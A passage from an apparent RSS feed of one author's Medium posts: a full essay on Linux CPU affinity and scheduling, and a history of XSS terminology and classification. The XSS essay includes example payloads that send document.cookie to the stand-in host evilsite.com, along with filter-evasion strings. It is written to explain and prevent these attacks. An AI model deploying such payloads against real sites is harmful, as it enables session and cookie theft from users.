100% in the power of the hypervisor admin to take all your carefully constructed CPU affinity assignment patterns, throw all your vCPUs on one pCPU, and call it a day. GG no re. It’s over. pack up and go home.</p><p>Long story short, It’s too hard to get focused value from CPU pinning in the cloud.</p><p>Before you ever try to optimize a cloud application with CPU pinning try the following things first. Autoscale your applications based on the most important metrics for your application like memory or CPU utilization. Try getting a virtual machine with more resources. Get a virtual machine with a resource set that more closely match your needs. Consider developing a distributed system for CPU intensive applications. Most cloud providers have cheap ephemeral virtual machines that you can used if you design your applications in a distributed architecture.<br> <br> I said once before, don’t eat soup with chopsticks. Please don’t make it worse by shooting arrows into the storm.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4fbeff81be3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CPU Affinity: Don’t eat soup with chopsticks]]></title>
            <link>https://medium.com/@ryoberfelder/cpu-affinity-dont-eat-soup-with-chopsticks-71bf0b59813e?source=rss-9311c0ebce26------2</link>
            <guid isPermaLink="false">https://medium.com/p/71bf0b59813e</guid>
            <category><![CDATA[cpu-affinity]]></category>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Ryan Oberfelder]]></dc:creator>
            <pubDate>Sat, 02 Sep 2017 18:57:34 GMT</pubDate>
            <atom:updated>2017-09-02T18:57:34.343Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZgyzLf_nyiIMoDlG4jkUSA.jpeg" /></figure><p>To set the CPU Affinity of a process is to restrict which cores that process may execute on within a multicore system. Linux implements this concept as a bit array assigned to a specific process. Each bit represents a specific core and the value determines its permission state. Both operating systems and programmers may set this value but we’re not talking about the soft CPU Affinities set by operating systems. We’re talking about hard CPU Affinities set by programmers themselves.</p><p>Setting CPU Affinity is a test in understanding. Do I understand the processes executing on my system? Do I understand how processes execute? Do I understand my processes’ patterns of execution? How might these processes interact with each other? How long do my processes run? Do processes share memory? How much memory do my processes share? How large are my caches? How much physical memory exists on my system? Does the operating system flush The TLB on context switch? Is the hardware designed to allow an operating system to keep a TLB state on context switch? Most Importantly, can my program be faster?<br> <br> Setting this hard CPU Affinity may seem like a simple method to increase efficiently and therefore speed. It seems simple, if two processes share memory, limiting processes to execute only on the same core could help retain memory pages. Doing so avoids future memory and cache misses. Conversely, It’s rational to expect that two processes, bound to different cores, could increase efficiency by allowing two threads of execution to execute simultaneously; in other words, enforce true multiprocessing<br> <br> As you might have noticed, these seemingly rational thoughts unfortunately result in partial conflict. You can not both restrict processes to execute on the same core and restrict them to different cores. It’s impossible. Therefore, maximizing the efficiently of two related processes entirely depends on the state of the execution environment as well as the future execution patters of the aforementioned processes. What if the processes are I/O bound, specifically sending data over the network and thus waiting for network driver time? If multiple processes are sending data and waiting for information from the network driver, It’s very possible that setting a CPU Affinity produces little effect. The network driver might throttle the system making CPU Affinity a red herring.</p><p>Simply put, using CPU Affinity without considering every aspect of a systems future execution patterns is like using chop sticks without knowing what you are eating. If you have a bowl of soup, it’s going to take a very long time to finish that soup with chopsticks. Similarly, pinning processes to a CPU is not something that you should do without very carefully studying the effects of your choice.</p><p>What might those choices be? An example pattern might be a programmer taking a singular process and pinning that process to a singular core. Why might a rational programmer do this? Simple answer? To maintain the locality of reference.</p><p>What then is the locality of reference? When you have a process, there exists a set of physical memory addresses that a process will need within a reasonable time; This set is called the working set of a process. Given a specific point in time, a core that either previously serviced or is currently servicing a process, will likely have a specific subset of these physical memory addresses still in memory. Locality then, measures the size of the intersection between the working set and the memory addresses currently in physical memory. If the intersection contains a lot of the addresses needed by the process, then the measure of locality is high. If the intersection has only a few of the needed addresses, the measure of locality is low.</p><p>Assuming centralized memory for a hardware system, a metric of physical memory locality could be independent of core; all cores would maintain this relationship regardless of specific core. Cache locality is different however. While modern cache systems have multi-level caches, the level 1 cache is always core specific. Thus, cache locality becomes a property of a specific process, core combination. Cache locality is often more important than memory locality. Cache locality is a measure of the intersection between the memory addresses within a cache at a given point in time and the process’ working set.</p><p>Locality also gains importance within a core’s TLB or Translation Look-aside Buffer. Operating systems support virtual address spaces: logical representations of contiguous addresses for simple use by programs. The TLB contains the mappings between a processes’ virtual address tag and the physical address tag. Depending on both the operating system and the hardware in question, A TLB could be maintained upon switching out a process. Flushing the TLB is only required if the the operating system can not tie a process to a virtual address within the TLB. If an operating system can, then TLBs are able to maintain more locality. TLB locality measures the intersection between a process’ virtual addresses within the TLB at a point in time and the process’ working set.</p><p>If measures of locality can be found in memory, the cache, and the TLB, how could pinning a process to one core help maintain locality?<br> <br> Most modern operating systems are built on the concept of demand paging. A requested page will be pulled into memory/cache at the time that it is requested. Demand paging allows simpler page prediction algorithms that are logically very difficult to implement. However, the downside is that requesting a page from memory to cache is time intensive and from disk to memory even more so. Because of this, a CPU will do everything in it’s power to make sure a requested page is already in memory after the first request.</p><p>Processes must share their choice core however. One programmer controlling one process on a system can not tell all other processes to go away. Why might this be a problem?</p><p>When a process is superseded by another process the switched out process has its working set in memory and cache. What happens if the new process requests more memory but there is no more physical memory on the system? Processes control specific numbers of memory frames as allotted by the operating system. If free memory gets low, the operating systems may take physical memory frames from one process and allot them to another. This is often done when the system realizes the needy process has a larger working a set and a higher priority than the less needy process. This means that if the working set of the switched-out process was already in the memory, that process will have a diminished locality upon return.</p><p>Caches do not have this concept of allotment. Within a cache, a page is either within the cache or not. If cache space runs out, a cache needs to replace a cached page with the newly requested page.</p><p>Many operating systems have page replacement algorithms at both the memory level and the cache level. While replacement algorithms are many, vast majority support improving temporal locality as the primary goal. Temporal locality describes how a many times a memory location is accessed in a given time unit. In other words, If you used an address recently, you will likely use it again soon. A Least Recently Used approximation algorithm assumes that as long as it can keep the address just used in the cache, any other page could be replaced. This utilizes temporal locality because it strongly assumes the last used page will be used again.</p><p>Modern caches do not allow just any page within the cache be replaced in an algorithm however. When an address is requested by the cache, the cache will first determine which set of physical addresses should be checked. It does this taking a middle section of bits called the index and determining the correct set from them. It’s only within this set that replacement algorithms are executed. If the cache is 4-way associative, that means each set contains 4 addresses to compare. Using the Least Recently Used approximation algorithm described before, any of the three other addresses could be replaced but not the most recently used within this set.</p><p>What’s to say that one of those three pages is not one of the pages of our process? Again, there is nothing in the cache that determines which page belongs to which process. A process may kick one of our process’ pages out of the cache. This decreases our locality and there is little we can do to stop that.<br> <br> Even if the locality of our switched out process is diminished, that is still preferable to no locality on a different core. If the operating system decides to move our process to another core, the cache and the TLB would be “cold” since both of those are dependent on the core more than memory. “Cold”, simply refers to a cache that does not have a target process’ working set. Fixing a cold cache happens naturally because of demand paging but remains time intensive.<br> <br> Time is the key here. Having “Warm” memory/cache/TLB means high levels of locality. High locality means less memory/cache/TLB misses. Resolving misses takes large amounts of time relative to the speed at which processes occur on modern computers. This loss of time is why setting the CPU Affinity of a specific core might be helpful.</p><p>If restricting a process’ CPU Affinity can improve locality, then why doesn’t the operating system pine processes to cores? In Linux, a process will have a default CPU Affinity, allowing it to run on any core chosen by the operating chooses, right? Why might it be a good idea for a process to be allowed to run on another CPU.</p><p>Linux does default to wide CPU Affinities to support the load balancing problem, that is true. That said, if a set of processes overworks one core and under-utilizes another core, processes from the overworked core should be moved to the under-utilized core.</p><p>As of Linux 2.6, Linux implements an algorithm called CFS or Completely Fair Scheduling for Symmetric Multiprocessing systems. Each core will have its own runqueue that it will maintain and re-order during context switches. modern Linux runqueues are often built with red-black-trees tangentially sorted by priority. Linux maintains 140 levels of priority. Values 0–99 are maintained for real-time processes. 100 to 139 are the standard level queues. Processes supporting real-time applications take precedence over standard level processes. For standard processes, the closer to 100 the priority is the sooner that process can go.</p><p>Linux executes an algorithm that determines both process weights and process loads for a given CPU. Process weight is a value used in calculations that is also capable of mapping back to process priority values. The priority values are mapped in the “prio_to_weight” array, which helps generate a nice value. Nice values are proxies for priority values. The “nicer” a process is, the lower the priority. Higher priorities are not as nice, they hog CPU time, thereby being “mean” to other processes. This string of conversions is needed because weight values are inputs to a calculation outputting called vruntime. Virtual runtime incorporates the runtime and weight of a process. When a process’ vruntime is calculated, its calculated afresh on every context switch and resorted into a red black tree. The left most node in the tree is the next executed in the runqueue.</p><p>As mentioned before, CFS produces a per processes/core value called load after context switch. Process load is a combination of the weight and the CPU utilization of a thread of execution. The calculation is recursive and decent understanding of those numbers can be found by reading through the following two links, <a href="https://en.wikipedia.org/wiki/Moving_average#Exponential_moving_average">here</a> and <a href="https://en.wikipedia.org/wiki/Load_(computing)#Unix-style_load_calculation">here</a></p><p>The load of a CPU at a given time is the sum of the process loads. It’s this metric that is used to determine, for a Linux 2.6+ operating system, how load balancing should be handled across cores. This is also why processes are not forced to a singular core.</p><p>Linux load balancing aims to make all processes efficient in the long run. That’s a good goal but I only care about my processes in this case. Why not pin my processes?</p><p>Often you do care about the other processes running on a server even if you don’t know it. A lot of processes are operating system daemons running in the background to help optimize the system. Further, Linux has the concept of a kin processor. Linux uses the kin processor value to set a soft CPU Affinity to a CPU. This allows the process to move if needed but will attempt to keep a process on a CPU if possible. By pinning your process, you could cause other useful processes to be moved that might harm the system.<br> <br> Otherwise, you don’t have to care about other system processes. If all you care about is your one thread of execution, then this is your solution. However, most programmers don’t care about just one process when CPU Affinity is discussed. Programmers want their applications to be fast and they do this by multiprocessing.<br> <br> Applications utilizing multiprocessing execute faster than single process applications. Being able to increase the threads of execution is good. Of course, with CPU Affinity this gets tricky.</p><p>As eluded to prior, multiple processes that share large amounts of memory pages might be more efficient pinned to the same core. Let’s say a server is executing some number of processes that results in effective load balancing between all cores. Two of these processes support the same application. If the processes execute on the same cores, their working sets could overlap and improve their individual performance than on similarly loaded cores. Conversely, if one of the application processes shared a core with a non application process, that unrelated process would likely kick out more application process related cache pages. Locality would be more diminished by the unrelated process then if the other application process had instead shared the core.</p><p>Even if applications share any memory, that does not mean pinning processes to the same core is the right choice. Ignoring the Linux kernel’s long running load balancing operation, It’s possible the effect of overworking a singular CPU outweighs the benefits of having a large amount of shared memory. It all depends on which effect over powers the other, the multiprogramming effect or the shared working set effect.<br> <br> When the number of cores get large, like count &gt;= 8, The effects get even murkier. Hardware designs for high performance computing are many and target a range of issues from memory accesses to cache consistency to bus through put. For our purposes we are going to focus on memory and for that I’ll discuss NUMA memory designs. <br> <br> Traditional Non-Uniform Memory Architecture takes physical memory and divides it up between cores. Let’s say we have eight cores labeled 0–7, and 800 frames of memory. Each core would have 100 frames of physical memory provided to that core. This allows processes that use less then 100 frames of memory to access memory much faster than if all cores had to travel across one system bus to request memory. If processes need to access memory not directly accessible by the core in question, requests can be made along special busses and to request frames from memory attached to other cores.</p><p>Applications of NUMA designs usually employ NUMA domains rather that split memory between every core. These domains will each contain a block of memory but also one or more cores. Revisiting the eight core example most NUMA designs would take 400 frames, create two NUMA domains and divide the cores between them. This would create single bus architectures within the domains like before. However, now communication between these domains would happen over a special bus and coordinate with memory directory strategies. <br> <br> What effect might NUMA domains have on CPU Affinity then? An interesting middle ground could be created between multiprocessing and shared memory. If processes are pinned to separate cores within the same NUMA domain, this could improve performance. At the same time, why not just set the CPU Affinity of processes to one NUMA domain? That way the operating system can try load balancing the process within the NUMA domain.</p><p>While discussions of CPU Affinity have been enlightening to this point lets have a more concreate example to explore some more issues related to CPU Affinity.</p><p>Let’s say you have a code base and this code starts up a website. This website is built with JavaScript with a node express backend. Using deployment technologies, we can spin up 9 processes wrapped in a Systemd demon. 3 of these processes are producers. These producers are node express servers, load balanced on a singular server using Nginx, and these are listening for incoming requests through port 8080. The other 6 processes are consumers, focusing on more CPU intensive calculations but also communicating over a network to talk to a Redis cluster and a database. Let’s assume currently that there are 4 cores supporting the Rhel 7 environment for this instance of the website. What is the value of taking each process, starting with core 1 and round robin assigning them to a core?</p><p>As mentioned before, we want a process to stay on one core because it contains a warm cache and possibly warm TLB. Because this is a website, we know that this collection of processes will continuously run for weeks, if not months. Even assuming that all 9 of the system demons start on core 0, the many threads of execution will generate a much higher load for core 0 over the others. Rhel 7 runs on the 3.10 kernel, which does include the CFS scheduling algorithm. This means that the threads of execution generating the load numbers will even out across the cores over time.<br> <br> Lets say that at some time in the future, the processes will be spread out across cores 2–3 on each core. If there is not a CPU Affinity mask in place, what is stopping a process from leaving its current core and moving to a different core upon eventual return from a context switch. One thing that I must stress is that CPU Affinity only determines what core a process is allowed to execute on; it says nothing about which core it SHOULD run on. As mentioned before, Linux kernels 2.6+ all prefer to leave a process on the kin processor. We know warmer caches generate better performance. Linux developers know this too and only move a process in the case of highly disproportionate core load over time. In rectifying an overloaded core, it’s likely the moved process will make up for the lost of locality in the long run via the more frequent execution blocks and more maintained locality upon context switch return.</p><p>What happens if some other process begins executing on our processes’ kin processor? What if the previously mentioned database also happens to run on the same server. That database needs to be backed up every once in a while and we can do that through a Cron job. Let’s say that Cron starts executing on cores 2 and 3. Those processes might be enough to change the load balance of the cores such that at least one process on cores 2 and 3 should move to 0 or 1 for perfect efficiently. If the CPU Affinity pinned a process to a core, that shift could not happen.</p><p>Another interesting issue arises in differences amongst the kinds of processes. Its likely that the processes designed as producers use the same code. This might allow more efficient memory utilization if similar kinds of processes were placed on the same core. CPU Affinity is best in strong memory sharing situations because a core is not as good at detecting that stronger use of shared memory. Our example may still not be the best example of such a situation; a better example might be a multithreaded process that adds sections of an array together to report a sum at the end. Anything where some synchronization is needed or a larger amount of memory needs to be shared.</p><p>Still another thought is in what kind of process each one is? The truth is that at least the 3 producer threads are I/O or CPU heavy and likely even the 6 consumer threads are more I/O heavy then expected. A node express server is listening on a port, just waiting for a request. When a request does come in, our example system will process the request then send a task on to the Redis queue, that way giving it to the consumers when the consumers are ready. Even those consumers are going to be waiting for a new value to show up on the Redis queue. It’s likely that our example is going to be more effected by the network driver throughput than efficiently gains via CPU Affinity.</p><p>What happens if we start changing parameters? Like if the numbers of producers/consumers change? What happens if the number of cores change? That last one is especially interesting because of NUMA domains. It might actually be best in multicore systems to limit all those producer and consumer instances to one NUMA domain, since they will have a decent amount of shared execution code. Coupled with the knowledge that we’re maintaining O/I bound processes, locking those processes to one NUMA domain and letting the CPU load balance other processes to other NUMA domains might be a solid idea. Certainly with NUMA domains, round robin assigning arbitrary type processes to different cores is an inefficient idea.</p><p>Long story short, correctly using the CPU Affinity options on Linux is hard to get right. In a system with many processes to execute at a time, it is good to place threads of execution on the same core if they share memory a lot of. Doing so keeps caches warm and avoids load balancing issues. While it’s not bad to round robin assign, it’s not going to likely be worth the effort.</p><p>That’s not to say that CPU Affinity is a waste of time to utilize. If servers are tight and you’ve done as best you can to optimize other bottle necks in your systems, CPU Affinity is a valid direction to explore. That said, research your system. To study Linux processes in execution, nmon is a great tool that provides a wealth of information on processes and CPU memory during execution. MacOs has a couple of options but htop can provide a decent nmon equivalent.<br> <br> Truly consider your system and your other choices before setting CPU Affinities on your processes. Are you truly in a situation where you can make better choices than your OS of choice?</p><p>All I ask is that you don’t eat soup with chopsticks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71bf0b59813e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Describing XSS: The story hidden in time]]></title>
            <link>https://medium.com/@ryoberfelder/describing-xss-the-story-hidden-in-time-80c3600ffe81?source=rss-9311c0ebce26------2</link>
            <guid isPermaLink="false">https://medium.com/p/80c3600ffe81</guid>
            <category><![CDATA[history-of-technology]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Ryan Oberfelder]]></dc:creator>
            <pubDate>Tue, 01 Aug 2017 11:33:47 GMT</pubDate>
            <atom:updated>2017-08-01T11:40:58.816Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLsdaAxIoynjqb6bSE1dgA.jpeg" /></figure><p>Cross Site Scripting can be described in three ways. In a sentence, at the 1000-foot view, allowing the majority of people to understand it. In a paragraph, maybe with an example, getting some people to half understand it. Finally, in an article, describing the different kinds of XSS, only to end up in a shouting match for hours, throwing upwards of 20 articles and still not getting anywhere.</p><p>Terminology surrounding XSS classifications are plentiful and conflicting. On the first pass, developers commonly find XSS described as either Reflected XSS or Stored XSS. Eventually, after a couple minutes, someone might run into DOM-Based XSS. Upon searching, it becomes apparent DOM-Based XSS is the third grouping of XSS and it’s also known as type 0 XSS. It’s at this point someone might discover that Reflected XSS can sometimes be called type 2 XSS and Stored called type 1. Ok weird, but fair enough. Hold on, on another page of literally the same website it consistently refers to Reflected as type 1 and Stored XSS as type 2. Finally, you read that some David Wicher guy says to forget all that just classify XSS via this quadrant model because it’s easier anyway. This is where most people throw in the towel.</p><p>Even for penetration testers XSS differentiation can be difficult. I’ve had my share of conversations, arguing about whether DOM-Based XSS should be a third column of XSS or if it’s a flavor of reflected. Those conversations were the original impetus and therefore the intended centerpiece of this conversation. However, in trying to understand why the classifications came about, a hazy story starts forming in the mist. It’s not simply that OWASP, CERT, and Microsoft got together and decided for all time that XSS was <em>Y</em> and everyone has been terribly confused since. No, descriptions of XSS are living concepts, editable and expandable to uphold present understandings. However, XSS has a history, recorded in articles and books through time, often conflicting over classifications and definitions. Such is the nature of the modern internet, storing information and perpetuating information regardless of truth or accuracy. For a close reader however, one can not only describe the modern understanding of XSS but also express the fascinating story of XSS terminology, thereby removing concepts from the quagmires of confusion.</p><p>In light of this, I would like to describe what XSS is, how to understand it’s different classifications, and how these classifications mutated over time.<br> <br> Our story on XSS begins in late 1999 with a small group of Microsoft security engineers. The Microsoft Security Response Center and the Microsoft Internet Explorer Security Team had been hearing of attacks some sites were experiencing wherein script and image tags were being maliciously injected into html pages. Some of these attacks originating from links sent to unsuspecting victims, grabbing user cookies and giving them to malicious third parties. Other attacks were persistent in nature, the payload being stored and injected over and over, affecting anyone who requested certain pages. Michael Barrett, the PayPal CISO from 2006 to 2013, describes discovering a Reflected XSS exploit in American Express software around that time. This exploit was demonstrated up and down the American Express management chain and was even described to the Microsoft Security Center team during a conference the fall of 1999. By December the team of Security engineers at Microsoft had officially begun research on the vulnerability and by February of the new millennium, had published a report detailing the vulnerability in conjunction with CERT. It was in this article that the attack was given its name, Cross Site Scripting (XSS).</p><p>Cross site scripting was dubbed such because the first instances were scripts sent from one site and then injected into the target site. The example first used in the article was a classification of XSS called Reflected XSS. Reflected XSS involves submitting user controlled input via a request, letting the server generate html with the input included, and then return the requested html with the malicious script included.<br> <br> How might this work? Let’s say that we have a webpage, whose URL is https://xssproofsite.com/users/sammy/profile. Let’s say every visitor to this profile page will get a personalized greeting from Sammy that passes the name of the visitor back to the server via a URL parameter GreetingsName: https://xssproofsite.com/users/sammy/profile?GreetingsName=velma. If input and output validation allows it, there is no reason you can’t create a URL like the following https://xssproofsite.com/users/sammy/profile?GreetingsName=&lt;img/**/src=”http://evilsite.com/”+document.cookie&gt;. This data can be set to the server, which proceeds to use parameter values to dynamically edit the requested html. That generated html is then sent to the requester who will load the script into the browser, thereby weaponizing the attackers injected code. In our example, the weaponized script would proceed to make a request containing the requester’s cookie to the attacker controlled site. From there, the attacker only needs to read any file that is logging requests to their site and they have a user’s cookie and potentially the user’s session token.<br> <br> <em>Ok but if you send somebody this link, could they not just tell that there is something fishy in the URL?</em></p><p>There are many ways to send a valid communication that does not show the URL. Email for example can contain embed html and thus hide true URLs within a normal website hyperlink. The attacker could host a site that links back to the good site with the malicious query parameter hidden. While it’s clear that the evil site should not be given access to the good site, a victim navigating to the good site from the bad may seem innocent enough to entice users to click. Even if you have a smart victim, there are sites out there like <a href="https://bitly.com/">https://bitly.com/</a> that can shorten a URL and make an alias for your links, thus hiding the malicious script behind a tiny URL.<br> <br> <em>Fine, you can hide the URL. Even so the data is not being stored and will not affect the end user.</em><br> <br> Correct, the data is not being stored and you are not defacing the website in anyway. That said the target is not the web site but the users of the website. Most sites have access rules, authentication, protected sections that can only be accessed by authorized users. The goal of reflected XSS is often to provide a mechanism to acquire user specific data, often that the user is not even aware off. I won’t talk in much detail but there are lots of client side secrets that might be valuable like session tokens, autocomplete results, or passwords that could be accessible by maliciously injected code.</p><p><em>Even if these Reflected XSS vulnerabilities can affect the user, it’s highly unrealistic that website a would not validate and sanitize their prams before using them.</em><br> <br> Let’s ignore the fact that technology has far outpaced security and this is in no way the case. For the most critical sites, it’s expected and common for designers to do their due diligence and sanitize their input. The issue is that there are many ways to get sanitization wrong. Even security conscious developers can approach sanitization from a blacklisting perspective, disallowing known bad phrases and leaving themselves open to error. Let’s say that a developer knows that a parameter should never have a &lt;script&gt; tag and will remove all instances of the &lt;script&gt; tag before input. What about having input like &lt;scr&lt;script&gt;ipt&gt;? if the sanitization is not recursive, you end up with &lt;script&gt; again and you have not solved the issue. <br> <br> Some browsers like Internet Explorer can detect parameter based injection but are still imperfect. Let’s say that a page utilizes URL parameters for firstName and lastName, both of which are reflected onto the returned page. Let’s say that IE is good at detecting a script tags injected with a parameter. You could still inject something like the following: https://xssproofsite.com/users/sammy/profile?firstName=&lt;script/*&amp;lastName=*/&gt;alert(‘hello’)&lt;/script&gt;. If not properly handled this would comment the html between the two injected statements and create a valid script command, avoiding the IE protection.<br> <br> Reflected XSS vulnerabilities were the first kind of XSS discussed in the Microsoft release. However, Stored XSS was just as prevalent at the time. In the late 1990’s, it was common to find site functionality that would allow payloads like those in reflection based attack to persist across browsing sessions. These persisted payloads would be stored in a data store prior to injection via the requested html. Often the payloads would be stored in databases, but emails, remote files, and error logs were also common to find stored payloads. Since these payloads could both be stored and reflected, these attacks were grouped together under one heading: XSS. <br> <br> Let’s say we’re back at https://xssproofsite.com/, and we want to create a new user on the https://xssproofsite.com/api/user/create page. This page has a form asking for a user’s first name, last name, username and password. Assuming the form does not have validation, an attacker could make their username something like goodPerson&lt;img/**/src=”http://evilsite.com/”+document.cookie. If this injection is not neutralized in some way, the next person to request this user’s profile will be giving the attacker a fresh cookie. Worst still, if there are any sort of username listings or search functions in the site, this attack could affect a wide swath of users.</p><p>It’s common to treat stored XSS as a critical finding due to the number of users it affects. However, to better explain the core difference between reflected XSS and stored XSS, I want to introduce you to the concepts of faults, errors and failures. A fault in a system, or latent error, is an aspect of a system’s design that is erroneous but has not resulted in issues. An error on the other hand manifests from latent errors in recognizable ways. However, if this error can legitimately be ignored within the system, it’s an expected error. Failures only occur when an error manifests, forcing the system to react unexpectedly.</p><p>Faults, errors, and failures can usefully inform our discussions on Stored XSS. A Stored XSS vulnerability is an identified fault in the website. The designers of the website failed to expect certain inputs from users and so designed a system that could set itself up for failure. Even when a malicious actor uses this vulnerability to inject a script into the database, it’s possible that there is no failure. If the database allows malicious input into the system, it may be an error but it only becomes a failure when it’s injected cleanly into the html of the webpage to the detriment of the victim. It’s very possible that upon request, malicious code/data becomes sanitized, making malicious data simply odd user data. In this way, the error was nullified and did not become a failure. In summary, stored XSS only becomes a problem if the stored data is placed in a script enabling context without any sort of protection.</p><p>Why am I being so careful to describe this semantic difference between a Reflected XSS attack and a Stored XSS attack? Simply put, stored XSS offers a much better opportunity to target not only users but also the website itself. Because data stores are so intimately tied to the core functionality of a website, Stored XSS offers the ability to deface and dismantle the services a website offers. Furthermore, Stored XSS allows the website itself to perpetuate the XSS to other users much like how the Myspace Sammy Virus spread itself among Myspace users. <br> <br> These distinct differences in persistence and scope were the driving forces in defining XSS classifications until 2005. Reflected and Stored were the two pillars and any other variants were mirly subsets. However, by 2005 JavaScript was running rampant. JQuery was a year from being made and developers implementing functionality within the Document Object Model that Brendan Eich never intended. Seeing the ever-increasing scope of client based JavaScript as an oncoming storm, Amit Klein proposed that the security world should recognize a third pillar of XSS that he dubbed DOM-Based XSS. <br> <br> DOM-Based XSS refers to a vulnerability that gathers data from one part of Document Object Model and writes it to another part of the Document Object Model within browser. These input and output concepts can be official described as data sources and a data sinks. If the data entering through the DOM source is within the control of the user and the DOM sink writes that data without sanitization, that functionality could result in a DOM-Based XSS vulnerability.</p><p>Let’s say that the following link has a customized footer element: https://xssproofsite.com/users/sammy/profile. The current URL of the page is already there, but because the page offers internal linking, the hash is appended dynamically to make it easy for citations. A malicious attacker could send a user the following link https://xssproofsite.com/users/sammy/profile#&lt;img%20src=%27https:%2F%2Fevilsite.com%2F%27%2Bdocument.cookie&gt;. Because the # comment is appended through the `document.hash` source to the `document.write` sink without validation, this injection would result in the good website making a valid request to the bad website with the victim’s cookie recorded in the attacker’s logs.</p><p>This malicious reflection will usually come from an aspect of the request like the query strings, the URL itself, the referer, or the hash identifier as described above. I specifically want to focus on that concept of reflection because Dom-Based XSS vulnerabilities will often seem like Reflected XSS.</p><p><em>If DOM-Based XSS takes data and reflects it back without storing it, why is it not just a subset of reflected XSS?</em> <br> <br> If you are analyzing a site from the point of view of an attacker, this looks like Reflected XSS. However, DOM-Based XSS differs in how you PREVENT the vulnerability. The vast majority of DOM-Based XSS attacks in 2005 were client-side only attacks; this is why Amit suggested it be a third type to begin with. Data entering via the DOM source can become html via the sink without data ever going to the server. This commonly prevents server side sanitization and validation from cleaning the code before the user accesses it. This common feature of DOM-Based XSS attacks was the driving force behind descriping DOM-Based XSS as its own distinct type of XSS.</p><p>Here is the catch, DOM-Based XSS can also be detected server-side and be persisted like stored XSS. While not common, it’s certainly possible for Information to be gathered via the DOM “environment” only to be stored in HTML local storage. This puts storage on the client side and referenceable via the DOM. If not correctly sanitized, site data could be stored client-side and maliciously injected upon request.</p><p><em>You mentioned that DOM-Based XSS could be server-side. I thought you said the DOM was a client-side vulnerability?</em><br> <br> I did. There are some examples of DOM-Based XSS vulnerabilities that can be detected server side and stopped there though. An interesting example of this type of vulnerability might be a website who code will reflect the referer field returned in the response for a web site. Let’s say you are on <a href="https://evilsite.com/">https://evilsite.com/</a> and you have a link that goes to https://evilsite/&lt;img%20src=%27https:%2F%2Fevilsite.com%2F%27%2Bdocument.cookie&gt; before redirecting to <a href="https://xssproofsite.com/users/sammy/profile">https://xssproofsite.com/users/sammy/profile</a>. This profile page checks the referer tag and will welcome visitors from the referred website. This referer value, if not protected against, could will be weaponized, thereby sending the evil site the user’s cookie and opening the user to mischief. Interestingly, the referer is part of the http request and could therefore be seen by the server side. The server could then decide to remove the referer, protecting itself despite the source and the sink being client-side side.</p><p>So hopefully at this point I have illustrated the problem. Reflected and Stored XSS come from a time where every change to an html page happened on the server side. There were almost no reported cases of client side cross site scripting in 2000. Then, in 2005, Amit Klein introduced DOM-Based XSS, a vulnerability primarily known for its need for client side validation mechanisms. Over the years, penetration testers like David Wicher continued to analyze the XSS classifications and realized that these three classifications were not enough. <br> <br> To combat this, David Wicher and others of the OWASP board came together in 2012 to propose a new XSS classification schema. This schema proposed 4 quadrants of XSS along 2 axes. One axis describes exactly where the attack script should be sanitized and nullified: server-side vs client-side. This axis mirrors a developer’s general approach to vulnerabilities, placing the emphasis on vulnerability resolution. The second axis describes the persistence of an attack script given to a system: reflected vs stored. This axis aligns with the attacker perspective. It’s vastly more important to differentiate between an attack that can be stored and an attack that can only be reflected. <br> <br> <em>The quadrants make enough sense but researchers and security professionals still refer to attacks as simply Reflected, DOM-Based, and Stored. Would it not be confusing to change now?</em><br> <br> That’s a very good point and even some of the most descriptive resources on XSS perpetuate a confusing narrative. <em>The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws, 2nd Edition </em>continues to describe XSS as Reflected, Stored, and DOM-Based XSS. That handbook is one of the bibles of penetration testing and is therefore highly influential. The trick though is entirely in the timing. The handbook was written in 2011, a year before the proposed reclassification of XSS. It’s very likely that Dafydd Stuttard was just reflecting the understanding of 2011 and didn’t want to confuse people at the time with the difficulty of the classifications. Since the second edition, OWASP’s 4 quadrant XSS classifications have been proposed and are now slowly changing the conversation. In this regard, we must consider the history within which the handbook sits. <br> <br> <em>That still doesn’t answer the question though, why describe XSS in quadrants rather than the older designations.</em><br> <br> Fair enough, and my reasoning is for accuracy and simplicity. If you consider the quadrant model, A Reflected XSS attack just means an attack that is not persisting. This description fails to consider whether the reflection passes through the server or remains on the client side. In that context, describing an attack as server-side XSS describes only where such a vulnerability can van be validated. Server-side XSS does not consider the question of persistence and is therefore a description and not a classification. In doing so Dom based XSS now becomes a way to describe an attack and not a representor of client-side XSS. In this way, ‘DOM-Based’ now becomes an adjective and not a heading of a large category of XSS. Now, XSS can be described via the two most important factors: Reflected Client-side XSS, Reflected Server-side XSS, Stored Client-side XSS, and Stored Server-side XSS.<br> <br> <em>Ok let’s say that I buy there is some value in specificity. What is the value? Why should I care?</em><br> <br> The better a mental model you have, the better that model can be translated to functioning code that protects our most critical websites. The internet has made communication with anyone convenient including communication with companies. Some companies like banks are critical to the livelihood of billions of people. Hopefully by helping even one person understand the story of XSS, we can pass along the information of how to describe XSS to those who defend against it. <br> <br> Honestly though, if we can agree to relegate Reflected, Stored and DOM-Based to adjectives again that would make understanding XSS so much easier! You don’t want me to cry at night, do you? I hope not…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80c3600ffe81" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Hacker: The Story of Falling Sideways]]></title>
            <link>https://medium.com/@ryoberfelder/a-hacker-the-story-of-falling-sideways-7472c17c0fc3?source=rss-9311c0ebce26------2</link>
            <guid isPermaLink="false">https://medium.com/p/7472c17c0fc3</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[tech]]></category>
            <dc:creator><![CDATA[Ryan Oberfelder]]></dc:creator>
